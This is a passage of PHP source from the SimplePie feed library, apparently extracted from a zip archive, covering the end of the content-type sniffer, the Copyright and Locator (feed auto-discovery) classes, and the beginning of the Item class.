                if ($pos < $len && ($pos = strpos($this->file->body, '>', $pos)) !== false) {
                    $pos++;
                } else {
                    return 'text/html';
                }
            } elseif (substr($this->file->body, $pos, 1) === '?') {
                if ($pos < $len && ($pos = strpos($this->file->body, '?>', $pos)) !== false) {
                    $pos += 2;
                } else {
                    return 'text/html';
                }
            } elseif (substr($this->file->body, $pos, 3) === 'rss'
                || substr($this->file->body, $pos, 7) === 'rdf:RDF') {
                return 'application/rss+xml';
            } elseif (substr($this->file->body, $pos, 4) === 'feed') {
                return 'application/atom+xml';
            } else {
                return 'text/html';
            }
        }

        return 'text/html';
    }
}

class_alias('SimplePie\Content\Type\Sniffer', 'SimplePie_Content_Type_Sniffer');
PKWd[�~src/Copyright.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie;

/**
 * Manages `<media:copyright>` copyright tags as defined in Media RSS
 *
 * Used by {@see \SimplePie\Enclosure::get_copyright()}
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_copyright_class()}
 *
 * @package SimplePie
 * @subpackage API
 */
class Copyright
{
    /**
     * Copyright URL
     *
     * @var string
     * @see get_url()
     */
    public $url;

    /**
     * Attribution
     *
     * @var string
     * @see get_attribution()
     */
    public $label;

    /**
     * Constructor, used to input the data
     *
     * For documentation on all the parameters, see the corresponding
     * properties and their accessors
     */
    public function __construct($url = null, $label = null)
    {
        $this->url = $url;
        $this->label = $label;
    }

    /**
     * String-ified version
     *
     * @return string
     */
    public function __toString()
    {
        // There is no $this->data here
        return md5(serialize($this));
    }

    /**
     * Get the copyright URL
     *
     * @return string|null URL to copyright information
     */
    public function get_url()
    {
        if ($this->url !== null) {
            return $this->url;
        }

        return null;
    }

    /**
     * Get the attribution text
     *
     * @return string|null
     */
    public function get_attribution()
    {
        if ($this->label !== null) {
            return $this->label;
        }

        return null;
    }
}

class_alias('SimplePie\Copyright', 'SimplePie_Copyright');
PKWd[�7�-=-=src/Locator.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie;

/**
 * Used for feed auto-discovery
 *
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_locator_class()}
 *
 * @package SimplePie
 */
class Locator implements RegistryAware
{
    public $useragent;
    public $timeout;
    public $file;
    public $local = [];
    public $elsewhere = [];
    public $cached_entities = [];
    public $http_base;
    public $base;
    public $base_location = 0;
    public $checked_feeds = 0;
    public $max_checked_feeds = 10;
    public $force_fsockopen = false;
    public $curl_options = [];
    public $dom;
    protected $registry;

    public function __construct(\SimplePie\File $file, $timeout = 10, $useragent = null, $max_checked_feeds = 10, $force_fsockopen = false, $curl_options = [])
    {
        $this->file = $file;
        $this->useragent = $useragent;
        $this->timeout = $timeout;
        $this->max_checked_feeds = $max_checked_feeds;
        $this->force_fsockopen = $force_fsockopen;
        $this->curl_options = $curl_options;

        if (class_exists('DOMDocument') && $this->file->body != '') {
            $this->dom = new \DOMDocument();

            set_error_handler(['SimplePie\Misc', 'silence_errors']);
            try {
                $this->dom->loadHTML($this->file->body);
            } catch (\Throwable $ex) {
                $this->dom = null;
            }
            restore_error_handler();
        } else {
            $this->dom = null;
        }
    }

    public function set_registry(\SimplePie\Registry $registry)/* : void */
    {
        $this->registry = $registry;
    }

    public function find($type = \SimplePie\SimplePie::LOCATOR_ALL, &$working = null)
    {
        if ($this->is_feed($this->file)) {
            return $this->file;
        }

        if ($this->file->method & \SimplePie\SimplePie::FILE_SOURCE_REMOTE) {
            $sniffer = $this->registry->create(Content\Type\Sniffer::class, [$this->file]);
            if ($sniffer->get_type() !== 'text/html') {
                return null;
            }
        }

        if ($type & ~\SimplePie\SimplePie::LOCATOR_NONE) {
            $this->get_base();
        }

        if ($type & \SimplePie\SimplePie::LOCATOR_AUTODISCOVERY && $working = $this->autodiscovery()) {
            return $working[0];
        }

        if ($type & (\SimplePie\SimplePie::LOCATOR_LOCAL_EXTENSION | \SimplePie\SimplePie::LOCATOR_LOCAL_BODY | \SimplePie\SimplePie::LOCATOR_REMOTE_EXTENSION | \SimplePie\SimplePie::LOCATOR_REMOTE_BODY) && $this->get_links()) {
            if ($type & \SimplePie\SimplePie::LOCATOR_LOCAL_EXTENSION && $working = $this->extension($this->local)) {
                return $working[0];
            }

            if ($type & \SimplePie\SimplePie::LOCATOR_LOCAL_BODY && $working = $this->body($this->local)) {
                return $working[0];
            }

            if ($type & \SimplePie\SimplePie::LOCATOR_REMOTE_EXTENSION && $working = $this->extension($this->elsewhere)) {
                return $working[0];
            }

            if ($type & \SimplePie\SimplePie::LOCATOR_REMOTE_BODY && $working = $this->body($this->elsewhere)) {
                return $working[0];
            }
        }
        return null;
    }

    public function is_feed($file, $check_html = false)
    {
        if ($file->method & \SimplePie\SimplePie::FILE_SOURCE_REMOTE) {
            $sniffer = $this->registry->create(Content\Type\Sniffer::class, [$file]);
            $sniffed = $sniffer->get_type();
            $mime_types = ['application/rss+xml', 'application/rdf+xml',
                                'text/rdf', 'application/atom+xml', 'text/xml',
                                'application/xml', 'application/x-rss+xml'];
            if ($check_html) {
                $mime_types[] = 'text/html';
            }

            return in_array($sniffed, $mime_types);
        } elseif ($file->method & \SimplePie\SimplePie::FILE_SOURCE_LOCAL) {
            return true;
        } else {
            return false;
        }
    }

    public function get_base()
    {
        if ($this->dom === null) {
            throw new \SimplePie\Exception('DOMDocument not found, unable to use locator');
        }
        $this->http_base = $this->file->url;
        $this->base = $this->http_base;
        $elements = $this->dom->getElementsByTagName('base');
        foreach ($elements as $element) {
            if ($element->hasAttribute('href')) {
                $base = $this->registry->call(Misc::class, 'absolutize_url', [trim($element->getAttribute('href')), $this->http_base]);
                if ($base === false) {
                    continue;
                }
                $this->base = $base;
                $this->base_location = method_exists($element, 'getLineNo') ? $element->getLineNo() : 0;
                break;
            }
        }
    }

    public function autodiscovery()
    {
        $done = [];
        $feeds = [];
        $feeds = array_merge($feeds, $this->search_elements_by_tag('link', $done, $feeds));
        $feeds = array_merge($feeds, $this->search_elements_by_tag('a', $done, $feeds));
        $feeds = array_merge($feeds, $this->search_elements_by_tag('area', $done, $feeds));

        if (!empty($feeds)) {
            return array_values($feeds);
        }

        return null;
    }

    protected function search_elements_by_tag($name, &$done, $feeds)
    {
        if ($this->dom === null) {
            throw new \SimplePie\Exception('DOMDocument not found, unable to use locator');
        }

        $links = $this->dom->getElementsByTagName($name);
        foreach ($links as $link) {
            if ($this->checked_feeds === $this->max_checked_feeds) {
                break;
            }
            if ($link->hasAttribute('href') && $link->hasAttribute('rel')) {
                $rel = array_unique($this->registry->call(Misc::class, 'space_separated_tokens', [strtolower($link->getAttribute('rel'))]));
                $line = method_exists($link, 'getLineNo') ? $link->getLineNo() : 1;

                if ($this->base_location < $line) {
                    $href = $this->registry->call(Misc::class, 'absolutize_url', [trim($link->getAttribute('href')), $this->base]);
                } else {
                    $href = $this->registry->call(Misc::class, 'absolutize_url', [trim($link->getAttribute('href')), $this->http_base]);
                }
                if ($href === false) {
                    continue;
                }

                if (!in_array($href, $done) && in_array('feed', $rel) || (in_array('alternate', $rel) && !in_array('stylesheet', $rel) && $link->hasAttribute('type') && in_array(strtolower($this->registry->call(Misc::class, 'parse_mime', [$link->getAttribute('type')])), ['text/html', 'application/rss+xml', 'application/atom+xml'])) && !isset($feeds[$href])) {
                    $this->checked_feeds++;
                    $headers = [
                        'Accept' => 'application/atom+xml, application/rss+xml, application/rdf+xml;q=0.9, application/xml;q=0.8, text/xml;q=0.8, text/html;q=0.7, unknown/unknown;q=0.1, application/unknown;q=0.1, */*;q=0.1',
                    ];
                    $feed = $this->registry->create(File::class, [$href, $this->timeout, 5, $headers, $this->useragent, $this->force_fsockopen, $this->curl_options]);
                    if ($feed->success && ($feed->method & \SimplePie\SimplePie::FILE_SOURCE_REMOTE === 0 || ($feed->status_code === 200 || $feed->status_code > 206 && $feed->status_code < 300)) && $this->is_feed($feed, true)) {
                        $feeds[$href] = $feed;
                    }
                }
                $done[] = $href;
            }
        }

        return $feeds;
    }

    public function get_links()
    {
        if ($this->dom === null) {
            throw new \SimplePie\Exception('DOMDocument not found, unable to use locator');
        }

        $links = $this->dom->getElementsByTagName('a');
        foreach ($links as $link) {
            if ($link->hasAttribute('href')) {
                $href = trim($link->getAttribute('href'));
                $parsed = $this->registry->call(Misc::class, 'parse_url', [$href]);
                if ($parsed['scheme'] === '' || preg_match('/^(https?|feed)?$/i', $parsed['scheme'])) {
                    if (method_exists($link, 'getLineNo') && $this->base_location < $link->getLineNo()) {
                        $href = $this->registry->call(Misc::class, 'absolutize_url', [trim($link->getAttribute('href')), $this->base]);
                    } else {
                        $href = $this->registry->call(Misc::class, 'absolutize_url', [trim($link->getAttribute('href')), $this->http_base]);
                    }
                    if ($href === false) {
                        continue;
                    }

                    $current = $this->registry->call(Misc::class, 'parse_url', [$this->file->url]);

                    if ($parsed['authority'] === '' || $parsed['authority'] === $current['authority']) {
                        $this->local[] = $href;
                    } else {
                        $this->elsewhere[] = $href;
                    }
                }
            }
        }
        $this->local = array_unique($this->local);
        $this->elsewhere = array_unique($this->elsewhere);
        if (!empty($this->local) || !empty($this->elsewhere)) {
            return true;
        }
        return null;
    }

    public function get_rel_link($rel)
    {
        if ($this->dom === null) {
            throw new \SimplePie\Exception('DOMDocument not found, unable to use '.
                                          'locator');
        }
        if (!class_exists('DOMXpath')) {
            throw new \SimplePie\Exception('DOMXpath not found, unable to use '.
                                          'get_rel_link');
        }

        $xpath = new \DOMXpath($this->dom);
        $query = '//a[@rel and @href] | //link[@rel and @href]';
        foreach ($xpath->query($query) as $link) {
            $href = trim($link->getAttribute('href'));
            $parsed = $this->registry->call(Misc::class, 'parse_url', [$href]);
            if ($parsed['scheme'] === '' ||
                preg_match('/^https?$/i', $parsed['scheme'])) {
                if (method_exists($link, 'getLineNo') &&
                    $this->base_location < $link->getLineNo()) {
                    $href = $this->registry->call(
                        Misc::class,
                        'absolutize_url',
                        [trim($link->getAttribute('href')), $this->base]
                    );
                } else {
                    $href = $this->registry->call(
                        Misc::class,
                        'absolutize_url',
                        [trim($link->getAttribute('href')), $this->http_base]
                    );
                }
                if ($href === false) {
                    return null;
                }
                $rel_values = explode(' ', strtolower($link->getAttribute('rel')));
                if (in_array($rel, $rel_values)) {
                    return $href;
                }
            }
        }
        return null;
    }

    public function extension(&$array)
    {
        foreach ($array as $key => $value) {
            if ($this->checked_feeds === $this->max_checked_feeds) {
                break;
            }
            if (in_array(strtolower(strrchr($value, '.')), ['.rss', '.rdf', '.atom', '.xml'])) {
                $this->checked_feeds++;

                $headers = [
                    'Accept' => 'application/atom+xml, application/rss+xml, application/rdf+xml;q=0.9, application/xml;q=0.8, text/xml;q=0.8, text/html;q=0.7, unknown/unknown;q=0.1, application/unknown;q=0.1, */*;q=0.1',
                ];
                $feed = $this->registry->create(File::class, [$value, $this->timeout, 5, $headers, $this->useragent, $this->force_fsockopen, $this->curl_options]);
                if ($feed->success && ($feed->method & \SimplePie\SimplePie::FILE_SOURCE_REMOTE === 0 || ($feed->status_code === 200 || $feed->status_code > 206 && $feed->status_code < 300)) && $this->is_feed($feed)) {
                    return [$feed];
                } else {
                    unset($array[$key]);
                }
            }
        }
        return null;
    }

    public function body(&$array)
    {
        foreach ($array as $key => $value) {
            if ($this->checked_feeds === $this->max_checked_feeds) {
                break;
            }
            if (preg_match('/(feed|rss|rdf|atom|xml)/i', $value)) {
                $this->checked_feeds++;
                $headers = [
                    'Accept' => 'application/atom+xml, application/rss+xml, application/rdf+xml;q=0.9, application/xml;q=0.8, text/xml;q=0.8, text/html;q=0.7, unknown/unknown;q=0.1, application/unknown;q=0.1, */*;q=0.1',
                ];
                $feed = $this->registry->create(File::class, [$value, $this->timeout, 5, null, $this->useragent, $this->force_fsockopen, $this->curl_options]);
                if ($feed->success && ($feed->method & \SimplePie\SimplePie::FILE_SOURCE_REMOTE === 0 || ($feed->status_code === 200 || $feed->status_code > 206 && $feed->status_code < 300)) && $this->is_feed($feed)) {
                    return [$feed];
                } else {
                    unset($array[$key]);
                }
            }
        }
        return null;
    }
}

class_alias('SimplePie\Locator', 'SimplePie_Locator', false);
PKWd[��zzsrc/Item.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie;

/**
 * Manages all item-related data
 *
 * Used by {@see \SimplePie\SimplePie::get_item()} and {@see \SimplePie\SimplePie::get_items()}
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_item_class()}
 *
 * @package \SimplePie\SimplePie
 * @subpackage API
 */
class Item implements RegistryAware
{
    /**
     * Parent feed
     *
     * @access private
     * @var \SimplePie\SimplePie
     */
    public $feed;

    /**
     * Raw data
     *
     * @access private
     * @var array
     */
    public $data = [];

    /**
     * Registry object
     *
     * @see set_registry
     * @var \SimplePie\Registry
     */
    protected $registry;

    /**
     * Create a new item object
     *
     * This is usually used by {@see \SimplePie\SimplePie::get_items} and
     * {@see \SimplePie\SimplePie::get_item}. Avoid creating this manually.
     *
     * @param \SimplePie\SimplePie $feed Parent feed
     * @param array $data Raw data
     */
    public function __construct($feed, $data)
    {
        $this->feed = $feed;
        $this->data = $data;
    }

    /**
     * Set the registry handler
     *
     * This is usually used by {@see \SimplePie\Registry::create}
     *
     * @since 1.3
     * @param \SimplePie\Registry $registry
     */
    public function set_registry(\SimplePie\Registry $registry)/* : void */
    {
        $this->registry = $registry;
    }

    /**
     * Get a string representation of the item
     *
     * @return string
     */
    public function __toString()
    {
        return md5(serialize($this->data));
    }

    /**
     * Remove items that link back to this before destroying this object
     */
    public function __destruct()
    {
        if (!gc_enabled()) {
            unset($this->feed);
        }
    }

    /**
     * Get data for an item-level element
     *
     * This method allows you to get access to ANY element/attribute that is a
     * sub-element of the item/entry tag.
     *
     * See {@see \SimplePie\SimplePie::get_feed_tags()} for a description of the return value
     *
     * @since 1.0
     * @see http://simplepie.org/wiki/faq/supported_xml_namespaces
     * @param string $namespace The URL of the XML namespace of the elements you're trying to access
     * @param string $tag Tag name
     * @return array
     */
    public function get_item_tags($namespace, $tag)
    {
        if (isset($this->data['child'][$namespace][$tag])) {
            return $this->data['child'][$namespace][$tag];
        }

        return null;
    }

    /**
     * Get the base URL value.
     * Uses `<xml:base>`, or item link, or feed base URL.
     *
     * @param array $element
     * @return string
     */
    public function get_base($element = [])
    {
        if (!empty($element['xml_base_explicit']) && isset($element['xml_base'])) {
            return $element['xml_base'];
        }
        $link = $this->get_permalink();
        if ($link != null) {
            return $link;
        }
        return $this->feed->get_base($element);
    }

    /**
     * Sanitize feed data
     *
     * @access private
     * @see \SimplePie\SimplePie::sanitize()
     * @param string $data Data to sanitize
     * @param int $type One of the \SimplePie\SimplePie::CONSTRUCT_* constants
     * @param string $base Base URL to resolve URLs against
     * @return string Sanitized data
     */
    public function sanitize($data, $type, $base = '')
    {
        return $this->feed->sanitize($data, $type, $base);
    }

    /**
     * Get the parent feed
     *
     * Note: this may not work as you think for multifeeds!
     *
     * @link http://simplepie.org/faq/typical_multifeed_gotchas#missing_data_from_feed
     * @since 1.0
     * @return \SimplePie\SimplePie
     */
    public function get_feed()
    {
        return $this->feed;
    }

    /**
     * Get the unique identifier for the item
     *
     * This is usually used when writing code to check for new items in a feed.
     *
     * Uses `<atom:id>`, `<guid>`, `<dc:identifier>` or the `about` attribute
     * for RDF. If none of these are supplied (or `$hash` is true), creates an
     * MD5 hash based on the permalink, title and content.
     *
     * @since Beta 2
     * @param boolean $hash Should we force using a hash instead of the supplied ID?
     * @param string|false $fn User-supplied function to generate an hash
     * @return string|null
     */
    public function get_id($hash = false, $fn = 'md5')
    {
        if (!$hash) {
            if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'id')) {
                return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'id')) {
                return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'guid')) {
                return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'identifier')) {
                return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'identifier')) {
                return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            } elseif (isset($this->data['attribs'][\SimplePie\SimplePie::NAMESPACE_RDF]['about'])) {
                return $this->sanitize($this->data['attribs'][\SimplePie\SimplePie::NAMESPACE_RDF]['about'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
        }
        if ($fn === false) {
            return null;
        } elseif (!is_callable($fn)) {
            trigger_error('User-supplied function $fn must be callable', E_USER_WARNING);
            $fn = 'md5';
        }
        return call_user_func(
            $fn,
            $this->get_permalink().$this->get_title().$this->get_content()
        );
    }

    /**
     * Get the title of the item
     *
     * Uses `<atom:title>`, `<title>` or `<dc:title>`
     *
     * @since Beta 2 (previously called `get_item_title` since 0.8)
     * @return string|null
     */
    public function get_title()
    {
        if (!isset($this->data['title'])) {
            if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'title')) {
                $this->data['title'] = $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_10_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'title')) {
                $this->data['title'] = $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_03_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_10, 'title')) {
                $this->data['title'] = $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_090, 'title')) {
                $this->data['title'] = $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'title')) {
                $this->data['title'] = $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'title')) {
                $this->data['title'] = $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'title')) {
                $this->data['title'] = $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            } else {
                $this->data['title'] = null;
            }
        }
        return $this->data['title'];
    }

    /**
     * Get the content for the item
     *
     * Prefers summaries over full content , but will return full content if a
     * summary does not exist.
     *
     * To prefer full content instead, use {@see get_content}
     *
     * Uses `<atom:summary>`, `<description>`, `<dc:description>` or
     * `<itunes:subtitle>`
     *
     * @since 0.8
     * @param boolean $description_only Should we avoid falling back to the content?
     * @return string|null
     */
    public function get_description($description_only = false)
    {
        if (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'summary')) &&
            ($return = $this->sanitize($tags[0]['data'], $this->registry->call(Misc::class, 'atom_10_construct_type', [$tags[0]['attribs']]), $this->get_base($tags[0])))) {
            return $return;
        } elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'summary')) &&
                ($return = $this->sanitize($tags[0]['data'], $this->registry->call(Misc::class, 'atom_03_construct_type', [$tags[0]['attribs']]), $this->get_base($tags[0])))) {
            return $return;
        } elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_10, 'description')) &&
                ($return = $this->sanitize($tags[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($tags[0])))) {
            return $return;
        } elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'description')) &&
                ($return = $this->sanitize($tags[0]['data'], \SimplePie\SimplePie::CONSTRUCT_HTML, $this->get_base($tags[0])))) {
            return $return;
        } elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'description')) &&
                ($return = $this->sanitize($tags[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT))) {
            return $return;
        } elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'description')) &&
                ($return = $this->sanitize($tags[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT))) {
            return $return;
        } elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'summary')) &&
                ($return = $this->sanitize($tags[0]['data'], \SimplePie\SimplePie::CONSTRUCT_HTML, $this->get_base($tags[0])))) {
            return $return;
        } elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'subtitle')) &&
                ($return = $this->sanitize($tags[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT))) {
            return $return;
        } elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_090, 'description')) &&
                ($return = $this->sanitize($tags[0]['data'], \SimplePie\SimplePie::CONSTRUCT_HTML))) {
            return $return;
        } elseif (!$description_only) {
            return $this->get_content(true);
        }

        return null;
    }

    /**
     * Get the content for the item
     *
     * Prefers full content over summaries, but will return a summary if full
     * content does not exist.
     *
     * To prefer summaries instead, use {@see get_description}
     *
     * Uses `<atom:content>` or `<content:encoded>` (RSS 1.0 Content Module)
     *
     * @since 1.0
     * @param boolean $content_only Should we avoid falling back to the description?
     * @return string|null
     */
    public function get_content($content_only = false)
    {
        if (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'content')) &&
            ($return = $this->sanitize($tags[0]['data'], $this->registry->call(Misc::class, 'atom_10_content_construct_type', [$tags[0]['attribs']]), $this->get_base($tags[0])))) {
            return $return;
        } elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'content')) &&
                ($return = $this->sanitize($tags[0]['data'], $this->registry->call(Misc::class, 'atom_03_construct_type', [$tags[0]['attribs']]), $this->get_base($tags[0])))) {
            return $return;
        } elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_10_MODULES_CONTENT, 'encoded')) &&
                ($return = $this->sanitize($tags[0]['data'], \SimplePie\SimplePie::CONSTRUCT_HTML, $this->get_base($tags[0])))) {
            return $return;
        } elseif (!$content_only) {
            return $this->get_description(true);
        }

        return null;
    }

    /**
     * Get the media:thumbnail of the item
     *
     * Uses `<media:thumbnail>`
     *
     *
     * @return array|null
     */
    public function get_thumbnail()
    {
        if (!isset($this->data['thumbnail'])) {
            if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'thumbnail')) {
                $thumbnail = $return[0]['attribs'][''];
                if (empty($thumbnail['url'])) {
                    $this->data['thumbnail'] = null;
                } else {
                    $thumbnail['url'] = $this->sanitize($thumbnail['url'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($return[0]));
